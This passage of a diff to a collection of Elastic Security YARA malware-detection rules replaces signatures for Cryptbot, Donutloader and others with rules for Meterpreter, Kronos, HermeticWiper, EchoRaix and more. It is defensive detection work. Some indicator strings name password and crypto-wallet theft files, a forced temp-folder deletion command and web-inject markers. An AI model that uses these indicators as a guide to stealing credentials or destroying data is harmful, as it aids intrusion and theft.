+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Roopre.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "36ae2bf773135fdb0ead7fbbd46f90fd41d6f973569de1941c8723158fc6cfcc"
+		logic_hash = "12e14ac31932033f2448b7a3bfd6ce826fff17494547ac4baefb20f6713baf5f"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "1b74df56b73fa8d178a968427480332c6935e023af295e4fff5810bb66db6aab"
-		threat_name = "Windows.VulnDriver.Cpuz"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "2f1d7fd2d0104be63180003ae225eafa95f9d967154d3972782502742bbedf43"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 63 00 70 00 75 00 7A 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x04][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x03][\x00-\x00]))/
+		$a = { 01 3A 74 06 80 7F 02 5C 75 1F 48 83 C7 03 B2 5C EB E8 38 D1 48 8D }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Hiddad_E35Bff7B : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Itssoeasy_30Bd68E0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Hiddad (Linux.Trojan.Hiddad)"
+		description = "Detects Linux Ransomware Itssoeasy (Linux.Ransomware.ItsSoEasy)"
 		author = "Elastic Security"
-		id = "e35bff7b-1a93-4cfd-a4b6-1e994c0afa98"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "30bd68e0-3050-4aaf-b1bb-3ae10b6bd6dd"
+		date = "2023-07-28"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Hiddad.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "22a418e660b5a7a2e0cc1c1f3fe1d150831d75c4fedeed9817a221194522efcf"
-		logic_hash = "3881222807585dc933cb61473751d13297fa7eb085a50d435d3b680354a35ee9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_ItsSoEasy.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "efb1024654e86c0c30d2ac5f97d27f5f27b4dd3f7f6ada65d58691f0d703461c"
+		logic_hash = "a8838af442d1106bc9a7df93d6d8335ff0275bf5928acbb605e9bad58ce6bbd4"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "0ed46ca8a8bd567acf59d8a15a9597d7087975e608f42af57d36c31e777bb816"
+		fingerprint = "33170bbe6d182b36c77d732c283377f6f84cf82bd8d28cc4c3aef4d0914a0ae8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -96667,27 +101067,29 @@ rule ELASTIC_Linux_Trojan_Hiddad_E35Bff7B : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 3C 14 48 63 CF 89 FE 48 69 C9 81 80 80 80 C1 FE 1F 48 C1 E9 20 }
+		$a1 = { 6D 61 69 6E 2E 65 6E 63 72 79 70 74 44 61 74 61 2E 66 75 6E 63 31 }
+		$a2 = { 6D 61 69 6E 2E 6D 61 6B 65 41 75 74 6F 52 75 6E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Donutloader_F40E3759 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Blackwood_2B94Bce9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Donutloader (Windows.Trojan.Donutloader)"
+		description = "Detects Windows Trojan Blackwood (Windows.Trojan.Blackwood)"
 		author = "Elastic Security"
-		id = "f40e3759-2531-4e21-946a-fb55104814c0"
-		date = "2021-09-15"
-		modified = "2022-01-13"
+		id = "2b94bce9-a9cc-4b22-a9c7-2790553942b0"
+		date = "2024-03-22"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Donutloader.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "541a4ca1da41f7cf54dff3fee917b219fadb60fd93a89b93b5efa3c1a57af81d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Blackwood.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c37dd77f659059da7e12e13b063036ee69097a4d2f88c170832fff78f3788991"
+		logic_hash = "279e85ce3bb974ce5af541e7307cb2fd1031f36c9da013756883172a765b0e19"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a6b9ccd69d871de081759feca580b034e3c5cec788dd5b3d3db033a5499735b5"
+		fingerprint = "1162bd3cc0f30cd927f5f2d7d5703204ce8df0d627944222e2dc4ae42d1ea99a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -96695,216 +101097,218 @@ rule ELASTIC_Windows_Trojan_Donutloader_F40E3759 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$x64 = { 06 B8 03 40 00 80 C3 4C 8B 49 10 49 8B 81 30 08 00 00 }
-		$x86 = { 04 75 EE 89 31 F0 FF 46 04 33 C0 EB 08 83 21 00 B8 02 }
+		$a1 = { 5F 8C FB 62 69 00 65 00 78 00 70 00 6C 00 6F 00 72 00 65 00 2E 00 65 00 78 00 65 00 }
+		$a2 = { C6 44 24 0C 6D C6 44 24 0D 73 C6 44 24 0E 68 C6 44 24 10 70 C6 44 24 11 2E C6 44 24 12 64 }
+		$a3 = { 6D 79 6E 73 70 2E 64 6C 6C 00 4E 53 50 43 6C 65 61 6E 75 70 00 4E 53 50 53 74 61 72 74 75 70 }
+		$b1 = "index.dat"
+		$b2 = "Mozilla/4.0 (compatible;MSIE 5.0; Windows 98)"
+		$b3 = "http://www.baidu.com/id=%s&ad=%d&os=%d.%d&t=%d"
+		$b4 = "SetEntriesInAcl Error %u"
+		$b5 = "AllocateAndInitializeSid Error %u"
 
 	condition:
-		any of them
+		1 of ($a*) or all of ($b*)
 }
-rule ELASTIC_Windows_Trojan_Donutloader_5C38878D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Meterpreter_A82F5D21 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Donutloader (Windows.Trojan.Donutloader)"
+		description = "Detects Linux Trojan Meterpreter (Linux.Trojan.Meterpreter)"
 		author = "Elastic Security"
-		id = "5c38878d-ca94-4fd9-a36e-1ae5fe713ca2"
-		date = "2021-09-15"
-		modified = "2021-01-13"
+		id = "a82f5d21-3b01-4a05-a34a-6985c1f3b460"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Donutloader.yar#L21-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "897880d13318027ac5008fe8d008f09780d6fa807d6cc828b57975443358750c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Meterpreter.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d76886222de7292e8a76717f6d49452f52aaffb957bb0326bcfc7a35c3fdfc6a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150"
+		fingerprint = "b0adb928731dc489a615fa86e46cc19de05e251eef2e02eb02f478ed1ca01ec5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1 }
+		$a = { F8 02 74 22 77 08 66 83 F8 01 74 20 EB 24 66 83 F8 03 74 0C 66 83 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Donutloader_21E801E0 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Meterpreter_383C6708 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Donutloader (Windows.Trojan.Donutloader)"
+		description = "Detects Linux Trojan Meterpreter (Linux.Trojan.Meterpreter)"
 		author = "Elastic Security"
-		id = "21e801e0-b016-48b2-81f5-930e7d3dd318"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "383c6708-0861-4089-93c3-4320bc1e7cfc"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Donutloader.yar#L40-L58"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c3bda62725bb1047d203575bbe033f0f95d4dd6402c05f9d0c69d24bd3224ca6"
-		logic_hash = "19ef7bc8c7117024ca72956376954254c36eeb673f9379aa00475f763084a169"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Meterpreter.yar#L20-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d9d607f0bbc101f7f6dc0f16328bdd8f6ddb8ae83107b7eee34e1cc02072cb15"
+		logic_hash = "b0fd479722ab0808a4709cbacbb874282c48a425f4dbdaec9f74bc7f839c82e4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8b971734d471f281e7c48177096359e8f43578a12e42f6203f55d5e79d9ed09d"
+		fingerprint = "6e9da04c91b5846b3b1109f9d907d9afa917fb7dfe9f77780e745d17b799b540"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 48 89 45 F0 48 8B 45 F0 48 81 C4 D0 00 00 00 5D C3 55 48 81 EC 60 02 00 00 48 8D AC 24 80 00 00 00 48 89 8D F0 01 00 00 48 89 95 F8 01 00 00 4C 89 85 00 02 00 00 4C 89 8D 08 02 00 00 48 C7 85 }
+		$a = { 99 B6 10 48 89 D6 4D 31 C9 6A 22 41 5A B2 07 0F 05 48 96 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Atillk_18316Dd9 : FILE
+rule ELASTIC_Linux_Trojan_Meterpreter_621054Fe : FILE MEMORY
 {
 	meta:
-		description = "Name: atillk64.sys, Version: 5.11.9.0"
+		description = "Detects Linux Trojan Meterpreter (Linux.Trojan.Meterpreter)"
 		author = "Elastic Security"
-		id = "18316dd9-0a58-4e06-bebd-13f3de45c054"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "621054fe-bbdf-445c-a503-ccba82b88243"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Atillk.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173"
-		logic_hash = "02d218d0a0ea447e4ad0b03bff50c307ca5f36b8ed268787cd73c88a05aa4214"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Meterpreter.yar#L40-L57"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "18f22bb0aa66ec2ecdaa9ca0e0d00ee59a2c9a3f231bd71915140e4464a4ea78"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "74d618e50edf662aae13e7577a02cfc54c5a15045b34acdb2f5714ce8c65a487"
-		threat_name = "Windows.VulnDriver.Atillk"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "13cb03783b1d5f14cadfaa9b938646d5edb30ea83702991a81cc4ca82e4637dc"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 61 00 74 00 69 00 6C 00 6C 00 6B 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x0b][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x09][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x0a][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x0b][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x08][\x00-\x00]))/
+		$a = { 28 85 D2 75 0A 8B 50 2C 83 C8 FF 85 D2 74 03 8B 42 64 5D C3 55 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cryptbot_489A6562 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Meterpreter_1Bda891E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Cryptbot (Windows.Trojan.Cryptbot)"
+		description = "Detects Linux Trojan Meterpreter (Linux.Trojan.Meterpreter)"
 		author = "Elastic Security"
-		id = "489a6562-870c-4105-9bb7-52ab09e5b09c"
-		date = "2021-08-18"
-		modified = "2021-10-04"
+		id = "1bda891e-a031-4254-9d0b-dc590023d436"
+		date = "2021-12-13"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Cryptbot.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "423563995910af04cb2c4136bf50607fc26977dfa043a84433e8bd64b3315110"
-		logic_hash = "7fee3cc67419e66de790ba2ad8c3102425b3a45bdfe31801758dd38021a8439b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Meterpreter.yar#L59-L76"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "74e7547472117de20159f5b158cee0ccacc02a9aba5e5ad64a52c552c966d539"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f4578d79f8923706784e9d55a70ec74051273a945d2b277daa6229724defec3f"
+		fingerprint = "fc3f5afb9b90bbf3b61f144f90b02ff712f60fbf62fb0c79c5eaa808627aa0a1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "/c rd /s /q %Temp%\\" wide fullword
-		$a2 = "\\_Files\\_AllPasswords_list.txt" wide fullword
-		$a3 = "\\files_\\cryptocurrency\\log.txt" wide fullword
-		$a4 = "%wS\\%wS\\%wS.tmp" wide fullword
-		$a5 = "%AppData%\\waves-exchange" wide fullword
+		$a = { 11 62 08 F2 0F 5E D0 F2 0F 58 CB F2 0F 11 5A 10 F2 44 0F 5E C0 F2 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Multi_Hacktool_Stowaway_89F1D452 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Kronos_Cdd2E2C5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Hacktool Stowaway (Multi.Hacktool.Stowaway)"
+		description = "Strings used by the Kronos banking trojan and variants."
 		author = "Elastic Security"
-		id = "89f1d452-f40b-47da-ba75-10c90d67c13b"
-		date = "2024-06-28"
-		modified = "2024-07-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Hacktool_Stowaway.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c073d3be469c8eea0f007bb37c722bad30e06dc994d3a59773838ed8be154c95"
-		logic_hash = "c5db1335fea606ec32f7a6540ee4dee637dd2ad5aee27e092b89fa03ad085690"
+		id = "cdd2e2c5-17fc-4cec-aece-0b19c54faccf"
+		date = "2021-02-07"
+		modified = "2021-08-23"
+		reference = "https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Kronos.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "baa9cedbbe0f5689be8f8028a6537c39e9ea8b0815ad76cb98f365ca5a41653f"
+		logic_hash = "a8943c5ef166446629cb46517d35db39c97a1e3efa3a7a0b5cb3d3ee9d1e6e9c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "313e22009ad758c0dd0977c274eb165511591e3d99a8e2dd4be00622668981da"
+		fingerprint = "0e124d42a6741a095b66928303731e7060788bc1035b98b729ca91e4f7b6bc44"
+		threat_name = "Windows.Trojan.Kronos"
 		severity = 100
-		arch_context = "x86, arm64"
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "windows"
 
 	strings:
-		$a1 = "Stowaway/share.ActivePreAuth" ascii fullword
-		$a2 = "Stowaway/agent/handler" ascii fullword
-		$a3 = "Origin: http://stowaway:22" ascii fullword
-		$a4 = "Stowaway/admin.NewAdmin" ascii fullword
-		$a5 = "Stowaway/global/global.go" ascii fullword
-		$a6 = "Stowaway/crypto.AESDecrypt" ascii fullword
-		$a7 = "Stowaway/utils.CheckIfIP4" ascii fullword
-		$a8 = "Exit Stowaway"
-		$a9 = "Stowaway/protocol.ConstructMessage" ascii fullword
+		$a1 = "data_inject" ascii wide fullword
+		$a2 = "set_filter" ascii wide fullword
+		$a3 = "set_url" ascii wide fullword
+		$a4 = "%ws\\%ws.cfg" ascii wide fullword
+		$a5 = "D7T1H5F0F5A4C6S3" ascii wide fullword
+		$a6 = "[DELETE]" ascii wide fullword
+		$a7 = "Kronos" ascii wide fullword
 
 	condition:
-		3 of them
+		4 of them
 }
-rule ELASTIC_Linux_Trojan_Ngioweb_8Bd3002C : FILE MEMORY
+rule ELASTIC_Windows_Wiper_Hermeticwiper_7206A969 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
+		description = "Detects Windows Wiper Hermeticwiper (Windows.Wiper.HermeticWiper)"
 		author = "Elastic Security"
-		id = "8bd3002c-d9c7-4f93-b7f0-4cb9ba131338"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ngioweb.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5480bc02aeebd3062e6d19e50a5540536ce140d950327cce937ff7e71ebd15e2"
-		logic_hash = "578fd1c3e6091df9550b3c2caf999d7a0432f037b0cc4b15642531e7fdffd7b7"
+		id = "7206a969-bbd6-4c2d-a19d-380b71a4ab08"
+		date = "2022-02-24"
+		modified = "2022-02-24"
+		reference = "https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Wiper_HermeticWiper.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
+		logic_hash = "84c61b8223a6ebf1ccfa4fdccee3c9091abca4553e55ac6c2492cff5503b4774"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2ee5432cf6ead4eca3aad70e40fac7e182bdcc74dc22dc91a12946ae4182f1ab"
+		fingerprint = "e3486c785f99f4376d4161704afcaf61e8a5ab6101463a76d134469f8a5581bf"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 18 67 8A 09 84 C9 74 0D 80 F9 2E 75 02 FF C0 FF 44 24 18 }
+		$a1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
+		$a2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
+		$a3 = "tdrv.pdb" ascii fullword
+		$a4 = "%s%.2s" wide fullword
+		$a5 = "ccessdri" ascii fullword
+		$a6 = "Hermetica Digital"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ngioweb_A592A280 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Echoraix_Ea9532Df : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
+		description = "Detects Linux Ransomware Echoraix (Linux.Ransomware.EchoRaix)"
 		author = "Elastic Security"
-		id = "a592a280-053f-47bc-8d74-3fa5d74bd072"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "ea9532df-1136-4b11-bf4f-8838074f4e66"
+		date = "2023-07-27"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ngioweb.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5480bc02aeebd3062e6d19e50a5540536ce140d950327cce937ff7e71ebd15e2"
-		logic_hash = "b16cf5b527782680cc1da6f61dd537596792fed615993b19965ef2dbde701e64"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_EchoRaix.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dfe32d97eb48fb2afc295eecfda3196cba5d27ced6217532d119a764071c6297"
+		logic_hash = "4944f5a2632bfe0abebfa6f658ed3f71e4d97efcb428ed0987e2071dfd66e6a9"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "60f5ddd115fa1abac804d2978bbb8d70572de0df9da80686b5652520c03bd1ee"
+		fingerprint = "f28b340b99ec2b96ee78da50b3fc455c87dca1e898abf008c16ac192556939c5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -96912,28 +101316,28 @@ rule ELASTIC_Linux_Trojan_Ngioweb_A592A280 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 75 06 8B 7C 24 2C EB 2C 83 FD 01 75 06 8B 7C 24 3C EB 21 83 }
+		$a = { 43 58 68 64 4B 74 7A 65 42 59 6C 48 65 58 79 5A 52 62 61 30 2F 6E 65 46 7A 34 49 7A 67 53 38 4C 68 75 36 38 5A 75 4C 4C 52 2F 66 67 6E 72 34 79 54 72 5A 54 6B 43 36 31 62 2D 59 6F 6C 49 2F 32 4C 36 66 53 55 46 52 72 55 70 49 34 6D 4E 53 41 4F 62 5F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ngioweb_D57Aa841 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Echoraix_Ee0C719A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
+		description = "Detects Linux Ransomware Echoraix (Linux.Ransomware.EchoRaix)"
 		author = "Elastic Security"
-		id = "d57aa841-8eb5-4765-9434-233ab119015f"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "ee0c719a-1f04-45ff-9e49-38028b138fd0"
+		date = "2023-07-29"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ngioweb.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "555d60bd863caff231700c5f606d0034d5aa8362862d1fd0c816615d59f582f7"
-		logic_hash = "b0db72ad81d27f5b2ac2d2bb903ff10849c304d40619fd95a39e7d48c64c45ba"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_EchoRaix.yar#L21-L40"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e711b2d9323582aa390cf34846a2064457ae065c7d2ee1a78f5ed0859b40f9c0"
+		logic_hash = "3ca12ea0f1794935ea570dda83f33d04ffb19b6664cc1c8b1cbeed59ac04a01a"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "83a4eb7c8ac42097d3483bcf918823105b4ea4291a566b4184eacc2a0f3aa3a4"
+		fingerprint = "073d62ce55b1940774ffadeb5b76343aa49bd0a36cf82d50e2bae44f6049a1e8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -96941,28 +101345,28 @@ rule ELASTIC_Linux_Trojan_Ngioweb_D57Aa841 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 0C 48 89 4C 24 10 4C 89 44 24 18 66 83 F8 02 74 10 BB 10 00 }
+		$a1 = { 24 10 89 44 24 68 8B 4C 24 14 8B 54 24 18 85 C9 74 57 74 03 8B }
+		$a2 = { 6D 61 69 6E 2E 43 68 65 63 6B 49 73 52 75 6E 6E 69 6E 67 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ngioweb_B97E0253 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Godlua_Ed8E6228 : FILE MEMORY
 {
 	meta:
